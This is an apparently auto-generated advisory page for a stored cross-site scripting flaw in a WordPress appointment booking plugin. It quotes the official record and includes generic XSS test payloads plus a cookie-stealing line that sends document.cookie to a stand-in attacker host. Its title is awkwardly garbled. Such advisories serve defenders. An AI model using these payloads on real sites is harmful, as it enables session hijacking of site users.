CVE-2026-111727 — WordPress is vulnerable to Appointment Booking Calendar — CWE-79
CVE-2026-111727 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 6.4/10) affecting WordPress is vulnerable to Appointment Booking Calendar. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) with zero user interaction (UI:N), triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
The Appointment Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vs_text_submitbtn' parameter in all versions up to, and including, 1.4.05 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to be assigned as a calendar owner, a per-user grant that any administrator can extend to users as low as Subscriber level through the plugin's calendar list screen. Exploitation by attackers with subscriber-level access and above requires that an administrator has assigned the attacker's account as owner (`conwer`) of a calendar via the plugin's calendar list screen; the plugin's UI lists all registered users regardless of role, so a Subscriber can be assigned. On a default installation, where that is not configured, the vulnerability requires attackers with editor-level access and above.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-111727
CVSS 6.4/10 · MEDIUM · 28.10.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: The Appointment Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'vs_text_submitbtn' parameter in all versions up to, and including, 1.4.05 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute when…
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
Pivot to other systems possible.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]
FOFA Query